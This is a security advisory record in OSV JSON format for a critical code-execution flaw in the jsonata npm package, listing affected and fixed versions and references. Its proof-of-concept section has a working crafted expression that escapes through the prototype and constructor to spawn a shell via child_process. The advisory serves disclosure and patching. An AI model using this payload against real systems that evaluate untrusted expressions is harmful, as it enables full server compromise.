{"id":"GHSA-8gq3-vp5j-2grp","summary":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","details":"## Impact\n\nBefore JSONata `2.2.0` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a missing `hasOwnProperty` check in the `lookup` function:\nhttps://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705\n\nThis was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the `2.2.0` release, and ported in the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n   __lookupSetter__('__proto__')(constructor);\n   __defineGetter__('l', constructor(\"return\nprocess.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()\"));\n   valueOf().l\n)\n`);\n\nawait expression.evaluate({});\n```","aliases":["CVE-2026-77413"],"modified":"2026-08-21T21:10:59.271102Z","published":"2026-08-21T20:57:07Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-08-21T20:57:07Z","nvd_published_at":null,"cwe_ids":["CWE-94"]},"references":[{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/security/advisories/GHSA-8gq3-vp5j-2grp"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/pull/794"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/commit/4c5f4adfb90a9b500889d50f90050ca68888b50d"},{"type":"PACKAGE","url":"https://github.com/jsonata-js/jsonata"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"},{"type":"WEB","url":"https://github.com/jsonata-js/jsonata/releases/tag/v2.2.0"}],"affected":[{"package":{"name":"jsonata","ecosystem":"npm","purl":"pkg:npm/jsonata"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.8.8"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 1.8.7","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-8gq3-vp5j-2grp/GHSA-8gq3-vp5j-2grp.json"}},{"package":{"name":"jsonata","ecosystem":"npm","purl":"pkg:npm/jsonata"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.2.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-8gq3-vp5j-2grp/GHSA-8gq3-vp5j-2grp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}